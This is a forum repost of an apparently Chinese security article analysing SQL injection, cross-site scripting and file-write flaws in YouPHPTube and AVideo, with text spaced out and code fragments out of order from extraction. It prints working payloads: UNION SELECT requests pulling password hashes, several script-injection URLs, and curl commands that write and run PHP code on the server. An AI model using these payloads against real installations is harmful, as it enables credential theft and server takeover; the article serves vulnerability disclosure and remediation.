搜索

[16451] 2021-02-17_YouPHPTube中的多个安全漏洞分析

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-18
2021-02-17_YouPHPTube中的多个安全漏洞分析 Y o u P H P T u b e 中 的 多 个 安 全 漏 洞 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 2 1 - 0 2 - 1 7 关 于 关 于 Y o u P H P T u b e Y o u P H P T u b e ， 又 名 A V i d e o ， 是 一 款 开 源 的 视 频 播 放 平 台 ， 这 两 个 项 目 都 基 于 相 同 的 源 代 码 开 发 。 在 这 篇 文 章 中 ， 我 们 将 对 Y o u P H P T u b e   < =   7 . 8 版 本 和 A V i d e o   < =   1 0 . 0 中 的 多 个 安 全 漏 洞 进 行 分 析 。 漏 洞 描 述 漏 洞 描 述 S y n a c k t i v 的 研 究 人 员 在 Y o u P H P T u b e 和 A V i d e o 项 目 中 发 现 了 多 个 安 全 漏 洞 ， 而 这 些 安 全 漏 洞 都 是 由 于 缺 乏 对 用 户 输 入 数 据 进 行 过 滤 清 洗 所 导 致 的 ： 存 在 一 个 未 经 身 份 验 证 的 S Q L 注 入 漏 洞 ， 攻 击 者 可 利 用 该 漏 洞 从 数 据 库 中 提 取 敏 感 数 据 ， 比 如 说 密 码 哈 希 ， 并 允 许 未 经 身 份 验 证 的 用 户 提 权 为 管 理 员 身 份 。 存 在 多 个 跨 站 脚 本 漏 洞 （ X S S ） ， 攻 击 者 可 利 用 这 些 漏 洞 窃 取 管 理 员 的 会 话 C o o k i e 或 以 管 理 员 权 限 执 行 任 意 操 作 。 一 个 文 件 写 入 漏 洞 ， 将 允 许 攻 击 者 在 目 标 服 务 器 上 以 管 理 员 权 限 执 行 任 意 代 码 。 受 影 响 版 本 受 影 响 版 本 Y o u P H P T u b e 项 目   < =   7 . 8 版 本 A V i d e o 项 目   < =   1 0 . 0 版 本 【 点 击 底 部 阅 读 原 文 获 取 】 S Q L 注 入 漏 洞 分 析 注 入 漏 洞 分 析 Y o u P H P T u b e 和 A V i d e o 项 目 没 有 对 用 户 的 输 入 数 据 $ _ G E T [ ‘ c a t N a m e ’ ] 进 行 适 当 的 过 滤 和 清 晰 ， 未 经 身 份 验 证 的 远 程 攻 击 者 可 以 向 存 在 漏 洞 的 应 用 程 序 注 入 S Q L 代 码 来 从 数 据 库 中 提 取 敏 感 数 据 。 下 面 显 示 的 是 g e t V i d e o ( ) 函 数 中 的 漏 洞 代 码 ： 如 果 没 有 适 当 的 数 据 清 洗 和 过 滤 ， 那 么 $ _ G E T [ ‘ c a t N a m e ’ ] 将 可 以 被 用 来 注 入 S Q L 请 求 字 符 串 ， 应 用 程 序 只 会 检 查 并 移 除 用 户 输 入 数 据 中 的 引 号 ， 那 么 未 经 身 份 验 证 的 用 户 就 可 以 通 过 使 用 编 码 的 “ ” 来 获 取 M y S Q L 错 误 消 息 ： 接 下 来 ， 攻 击 者 就 可 以 使 用 编 码 的 “ ” 来 转 义 并 利 用 该 漏 洞 ： $ s q l   . =   "   A N D   ( c . c l e a n _ n a m e   =   ' { $ _ G E T [ ' c a t N a m e ' ] } '   O R   c . p a r e n t I d   I N   ( S E L E C T   c s . i d   f r o m c a t e g o r i e s   c s   w h e r e   c s . c l e a n _ n a m e   =   ' { $ _ G E T [ ' c a t N a m e ' ] } '   ) ) " ; G E T   / f e e d / ? c a t N a m e = % 5 c   H T T P / 1 . 1 [ . . . ] H T T P / 1 . 1   2 0 0   O K [ . . . ] S E L E C T   u . * ,   v . * ,   c . i c o n C l a s s ,   c . n a m e   a s   c a t e g o r y ,   c . c l e a n _ n a m e   a s c l e a n _ c a t e g o r y , c . d e s c r i p t i o n   a s   c a t e g o r y _ d e s c r i p t i o n ,   v . c r e a t e d   a s   v i d e o C r e a t i o n , v . m o d i f i e d   a s   v i d e o M o d i f i e d ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d A N D   ` l i k e `   =   1   )   a s   l i k e s ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d   A N D ` l i k e `   =   - 1   )   a s   d i s l i k e s   F R O M   v i d e o s   a s   v   L E F T   J O I N   c a t e g o r i e s   c   O N   c a t e g o r i e s _ i d   =   c . i d L E F T   J O I N   u s e r s   u   O N   v . u s e r s _ i d   =   u . i d   W H E R E   1 = 1   A N D   u . s t a t u s   =   ' a '   A N D   ( S E L E C T c o u n t ( i d )   F R O M   v i d e o s _ g r o u p _ v i e w   a s   g v   W H E R E   g v . v i d e o s _ i d   =   v . i d   )   =   0   A N D   v . s t a t u s   I N ( ' a ' , ' x m p 4 ' , ' x w e b m ' , ' x m p 3 ' , ' x o g g ' )   A N D   ( c . c l e a n _ n a m e   =   ' '   O R   c . p a r e n t I d   I N   ( S E L E C T   c s . i d f r o m   c a t e g o r i e s   c s   w h e r e   c s . c l e a n _ n a m e   =   ' '   ) )   O R D E R   B Y   v . c r e a t e d   D E S C   L I M I T   0 ,   5 0   n E r r o r   :   ( 1 0 6 4 )   Y o u   h a v e   a n   e r r o r   i n   y o u r   S Q L   s y n t a x ;   c h e c k   t h e   m a n u a l   t h a t   c o r r e s p o n d s   t o y o u r   M y S Q L   s e r v e r   v e r s i o n   f o r   t h e   r i g h t   s y n t a x   t o   u s e   n e a r   ' '   ) )   O R D E R   B Y   v . c r e a t e d   D E S C L I M I T   0 ,   5 0 '   a t   l i n e   1
此 时 ， 攻 击 者 发 送 的 请 求 就 会 变 成 有 效 的 M y S Q L 查 询 ： 接 下 来 ， 攻 击 者 就 可 以 使 用 U N I O N   M y S Q L 语 句 来 利 用 该 漏 洞 从 数 据 库 的 u s e r s 表 中 获 取 用 户 密 码 了 。 A V i d e o 项 目 项 目   < =   1 0 . 0 版 本 ： 版 本 ： Y o u P H P T u b e 项 目 项 目   < =   7 . 8 版 本 ： 版 本 ： 跨 站 脚 本 漏 洞 跨 站 脚 本 漏 洞 X S S 分 析 分 析 未 经 身 份 验 证 的 用 户 将 能 够 通 过 u 、 v i d e o 、 r e d i r e c t U r i 和 s e a r c h P h r a s e 这 几 个 变 量 注 入 H T M L 和 J a v a S c r i p t 代 码 。 远 程 攻 击 者 可 以 利 用 这 个 漏 洞 窃 取 会 话 C o o k i e 并 使 用 管 理 员 权 限 执 行 任 意 操 作 。 在 在 Y o u P H P T u b e 项 目 项 目   < =   7 . 8 版 本 中 的 版 本 中 的 v i e w / u s e r L o g i n . p h p 文 件 内 ： 文 件 内 ： 上 述 代 码 允 许 任 意 用 户 通 过 使 用 下 列 U R L 样 例 来 触 发 X S S 漏 洞 ： 在 在 A V i d e o 项 目 项 目   < =   1 0 . 0 版 本 中 的 版 本 中 的 v i e w / c h a n n e l s . p h p 文 件 内 ： 文 件 内 ： 上 述 代 码 允 许 任 意 用 户 通 过 使 用 下 列 U R L 样 例 来 触 发 X S S 漏 洞 ： 在 这 两 个 项 目 中 的 在 这 两 个 项 目 中 的 v i e w / v i d e o s L i s t . p h p 文 件 内 ： 文 件 内 ： G E T   / f e e d / ? c a t N a m e = ) % 2 3 % 5 c   H T T P / 1 . 1 [ . . . ] S E L E C T   u . * ,   v . * ,   c . i c o n C l a s s ,   c . n a m e   a s   c a t e g o r y ,   c . c l e a n _ n a m e   a s c l e a n _ c a t e g o r y , c . d e s c r i p t i o n   a s   c a t e g o r y _ d e s c r i p t i o n ,   v . c r e a t e d   a s   v i d e o C r e a t i o n , v . m o d i f i e d   a s   v i d e o M o d i f i e d ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d A N D   ` l i k e `   =   1   )   a s   l i k e s ,   ( S E L E C T   c o u n t ( i d )   F R O M   l i k e s   a s   l   w h e r e   l . v i d e o s _ i d   =   v . i d   A N D ` l i k e `   =   - 1   )   a s   d i s l i k e s   F R O M   v i d e o s   a s   v   L E F T   J O I N   c a t e g o r i e s   c   O N   c a t e g o r i e s _ i d   =   c . i d L E F T   J O I N   u s e r s   u   O N   v . u s e r s _ i d   =   u . i d   W H E R E   1 = 1   A N D   u . s t a t u s   =   ' a '   A N D   ( S E L E C T c o u n t ( i d )   F R O M   v i d e o s _ g r o u p _ v i e w   a s   g v   W H E R E   g v . v i d e o s _ i d   =   v . i d   )   =   0   A N D   v . s t a t u s   I N ( ' a ' , ' x m p 4 ' , ' x w e b m ' , ' x m p 3 ' , ' x o g g ' )   A N D   ( c . c l e a n _ n a m e   =   ' ) # '   O R   c . p a r e n t I d   I N   ( S E L E C T   c s . i d f r o m   c a t e g o r i e s   c s   w h e r e   c s . c l e a n _ n a m e   =   ' ) # '   ) )   O R D E R   B Y   v . c r e a t e d   D E S C   L I M I T   0 ,   5 0 G E T   / f e e d / ? c a t N a m e = ) + U N I O N + S E L E C T + 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , 3 1 , ( s e l e c t + p a s s w o r d + f r o m + u s e r s + l i m i t + 0 , 1 ) , 3 3 , 3 4 , 3 5 , 3 6 , 3 7 , 3 8 , 3 9 , 4 0 , 4 1 , 4 2 , 4 3 , 4 4 , 4 5 , 4 6 , 4 7 , 4 8 , 4 9 , 5 0 , 5 1 , 5 2 , 5 3 , 5 4 , 5 5 , 5 6 , 5 7 , 5 8 , 5 9 , 6 0 , 6 1 , 6 2 , 6 3 , 6 4 , 6 5 , 6 6 , 6 7 , 6 8 , 6 9 , 7 0 , 7 1 , 7 2 , 7 3 , 7 4 , 7 5 , 7 6 , 7 7 , 7 8 % 2 3 % 5 c H T T P / 1 . 1 [ . . . ] H T T P / 1 . 1   2 0 0   O K [ … ] < t i t l e > 7 5 6 b 4 b 2 b 7 3 4 f 5 5 6 8 0 9 6 d a f 1 6 5 1 6 9 7 5 d 7 < / t i t l e > [ … ] G E T   / y o u p h p t u b e / Y o u P H P T u b e - m a s t e r / f e e d / ? c a t N a m e = ) + U N I O N + S E L E C T + 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 1 0 , 1 1 , 1 2 , 1 3 , 1 4 , 1 5 , 1 6 , 1 7 , 1 8 , 1 9 , 2 0 , 2 1 , 2 2 , 2 3 , 2 4 , 2 5 , 2 6 , 2 7 , 2 8 , 2 9 , 3 0 , ( s e l e c t + p a s s w o r d + f r o m + u s e r s + l i m i t + 0 , 1 ) , 3 2 , 3 3 , 3 4 , 3 5 , 3 6 , 3 7 , 3 8 , 3 9 , 4 0 , 4 1 , 4 2 , 4 3 , 4 4 , 4 5 , 4 6 , 4 7 , 4 8 , 4 9 , 5 0 , 5 1 , 5 2 , 5 3 , 5 4 , 5 5 , 5 6 , 5 7 , 5 8 , 5 9 , 6 0 , 6 1 , 6 2 , 6 3 , 6 4 , 6 5 , 6 6 , 6 7 , 6 8 , 6 9 , 7 0 , 7 1 , 7 2 , 7 3 % 2 3 % 5 c   H T T P / 1 . 1 [ … ] H T T P / 1 . 1   2 0 0   O K [ … ] < t i t l e > 7 5 6 b 4 b 2 b 7 3 4 f 5 5 6 8 0 9 6 d a f 1 6 5 1 6 9 7 5 d 7 < / t i t l e > [ … ] p r i n t   i s s e t ( $ _ G E T [ ' r e d i r e c t U r i ' ] )   ?   $ _ G E T [ ' r e d i r e c t U r i ' ]   :   " " ; h t t p : / / < t a r g e t > / s i g n U p ? r e d i r e c t U r i = % 2 2 % 3 E % 3 C s c r i p t % 3 E a l e r t ( 1 1 1 ) % 3 C % 2 f s c r i p t % 3 E e c h o   @ $ _ G E T [ ' s e a r c h P h r a s e ' ] ; h t t p : / / < t a r g e t > / c h a n n e l s ? s e a r c h P h r a s e = t e s t % 2 2 % 3 e % 3 c s c r i p t % 3 e a l e r t ( 1 ) % 3 c % 2 f s c r i p t % 3 e $ v i d e o N a m e   =   " " ; i f   ( ! e m p t y ( $ v i d e o [ ' c l e a n _ t i t l e ' ] ) )   {   $ v i d e o N a m e   =   $ v i d e o [ ' c l e a n _ t i t l e ' ] ; }   e l s e   i f   ( ! e m p t y ( $ _ G E T [ ' v i d e o N a m e ' ] ) )   {   $ v i d e o N a m e   =   $ _ G E T [ ' v i d e o N a m e ' ] ;
上 述 代 码 允 许 任 意 用 户 通 过 使 用 下 列 U R L 样 例 来 触 发 X S S 漏 洞 ： 在 这 两 个 项 目 中 的 在 这 两 个 项 目 中 的 p l u g i n / L i v e / v i e w / m o d e Y o u t u b e L i v e . p h p 文 件 内 ： 文 件 内 ： 上 述 代 码 允 许 任 意 用 户 通 过 使 用 下 列 U R L 样 例 来 触 发 X S S 漏 洞 ： 文 件 写 入 漏 洞 分 析 文 件 写 入 漏 洞 分 析 拥 有 管 理 员 权 限 的 用 户 可 以 在 这 两 个 项 目 中 使 用 f l a g 和 c o d e 变 量 向 目 标 服 务 器 的 文 件 系 统 中 写 入 任 意 文 件 ， 存 在 漏 洞 的 代 码 文 件 为 l o c a l e / s a v e . p h p ： 这 个 漏 洞 允 许 管 理 员 用 户 在 目 标 文 件 系 统 中 执 行 任 意 命 令 并 使 用 下 列 命 令 触 发 该 漏 洞 ： 接 下 来 ： } [ … ] v a r   u r l L i s t   =   " < ? p h p   e c h o   $ g l o b a l [ ' w e b S i t e R o o t U R L ' ] ;   ? > v i d e o s L i s t / < ? p h p   e c h o a d d s l a s h e s ( $ c a t L i n k ) ;   ? > v i d e o / < ? p h p   e c h o   a d d s l a s h e s ( $ v i d e o N a m e ) ;   ? > "   +   p a g e   +   q u e r y ; h t t p : / / < t a r g e t > / v i d e o s L i s t / v i d e o / % 2 5 3 c % 2 5 2 f s c r i p t % 2 5 3 e % 2 5 3 c s c r i p t % 2 5 3 e a l e r t % 2 5 2 8 1 % 2 5 2 9 % 2 5 3 c % 2 5 2 f s c r i p t % 2 5 3 e / p a g e / 1 $ u   =   n e w   U s e r ( 0 ,   $ _ G E T [ ' u ' ] ,   f a l s e ) ; [ . . . ] $ n a m e   =   $ u → g e t N a m e I d e n t i f i c a t i o n B d ( ) ; $ n a m e   =   " < a   h r e f = ' "   .   U s e r : : g e t C h a n n e l L i n k ( $ u s e r _ i d )   .   " '   c l a s s = ' b t n   b t n - x s   b t n d e f a u l t ' > { $ n a m e }   "   .   U s e r : : g e t E m a i l V e r i f i e d I c o n ( $ u s e r _ i d )   .   " < / a > " ; $ v i d e o [ ' c r e a t o r ' ]   =   ' < d i v   c l a s s = " p u l l - l e f t " > < i m g   s r c = " '   .   U s e r : : g e t P h o t o ( $ u s e r _ i d )   .   ' " a l t = " U s e r   P h o t o "   c l a s s = " i m g   i m g - r e s p o n s i v e   i m g - c i r c l e "   s t y l e = " m a x - w i d t h :   4 0 p x ; " / > < / d i v > < d i v c l a s s = " c o m m e n t D e t a i l s "   s t y l e = " m a r g i n - l e f t : 4 5 p x ; " > < d i v   c l a s s = " c o m m e n t e r N a m e   t e x t m u t e d " > < s t r o n g > '   .   $ n a m e   .   ' < / s t r o n g > < b r > '   .   $ s u b s c r i b e   .   ' < / d i v > < / d i v > ' ; [ … ] < d i v   c l a s s = " c o l - x s - 1 2   c o l - s m - 1 2   c o l - l g - 1 2 " > < ? p h p   e c h o   $ v i d e o [ ' c r e a t o r ' ] ;   ? > < / d i v > [ … ] h t t p : / / < t a r g e t > / p l u g i n / L i v e / ? u = % 3 C s c r i p t % 3 E a l e r t ( 6 6 ) % 3 C % 2 f s c r i p t % 3 E $ f i l e   =   $ d i r . s t r t o l o w e r ( $ _ P O S T [ ' f l a g ' ] ) . " . p h p " ; $ m y f i l e   =   f o p e n ( $ f i l e ,   " w " )   o r   d i e ( " U n a b l e   t o   o p e n   f i l e ! " ) ; i f   ( ! $ m y f i l e )   {   $ o b j - > s t a t u s   =   0 ;   $ o b j - > e r r o r   =   _ _ ( " U n a b l e   t o   o p e n   f i l e ! " ) ;   d i e ( j s o n _ e n c o d e ( $ o b j ) ) ; } $ t x t   =   " < ? p h p n g l o b a l   $ t ; n " ; f w r i t e ( $ m y f i l e ,   $ t x t ) ; f w r i t e ( $ m y f i l e ,   $ _ P O S T [ ' c o d e ' ] ) ; f c l o s e ( $ m y f i l e ) ; e c h o   j s o n _ e n c o d e ( $ o b j ) ; $   c u r l   - k i s   ' h t t p : / / < t a r g e t > / l o c a l e / s a v e . p h p '   - H   ' C o o k i e : 0 9 b 9 1 1 7 e d c 2 0 b c 1 c 5 5 5 7 3 9 1 5 5 c 0 e b 1 b d = 9 j p n 0 5 8 3 0 l p 2 f 7 s 9 a t q b s 9 k b c 1 ; '   - - d a t a ' f l a g = t e s t f i l e 2 & c o d e = s y s t e m ( i d ) ; ' $   c u r l   - k i s   ' h t t p : / / < t a r g e t > / l o c a l e / t e s t f i l e 2 . p h p '   - H   ' C o o k i e : 0 9 b 9 1 1 7 e d c 2 0 b c 1 c 5 5 5 7 3 9 1 5 5 c 0 e b 1 b d = 9 j p n 0 5 8 3 0 l p 2 f 7 s 9 a t q b s 9 k b c 1 ; ' H T T P / 1 . 1   2 0 0   O K D a t e :   S a t ,   2 1   N o v   2 0 2 0   0 5 : 2 0 : 5 5   G M T S e r v e r :   A p a c h e
解 决 方 案 解 决 方 案 目 前 官 方 还 没 有 正 式 给 出 针 对 这 些 安 全 漏 洞 的 解 决 方 案 ， 但 是 我 们 建 议 广 大 开 发 人 员 在 处 理 S Q L 查 询 之 前 对 $ c a t N a m e 输 入 数 据 进 行 清 洗 和 过 滤 来 避 免 S Q L 注 入 的 情 况 。 使 用 h t m l e n t i t i e s 函 数 对 s e a r c h P h r a s e 、 u 和 r e d i r e c t U r i 进 行 过 滤 和 清 晰 ， 可 以 避 免 H T M L 和 J a v a S c r i p t 注 入 的 情 况 。 最 后 ， 应 该 禁 止 在 没 有 经 过 文 件 类 型 检 测 的 情 况 下 通 过 f l a g 或 c o d e 参 数 进 行 服 务 器 端 文 件 写 入 ， 哪 怕 是 管 理 员 也 不 应 该 具 备 这 种 权 限 。 精 彩 推 荐 精 彩 推 荐 X - P o w e r e d - B y :   P H P / 7 . 4 . 1 1 C a c h e - C o n t r o l :   m a x - a g e = 1 ,   p r i v a t e ,   m u s t - r e v a l i d a t e E x p i r e s :   S a t ,   2 1   N o v   2 0 2 0   0 5 : 2 0 : 5 6   G M T C o n t e n t - L e n g t h :   4 9 C o n t e n t - T y p e :   t e x t / h t m l ;   c h a r s e t = U T F - 8 u i d = 8 1 ( a p a c h e )   g i d = 8 1 ( a p a c h e )   g r o u p e s = 8 1 ( a p a c h e )
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理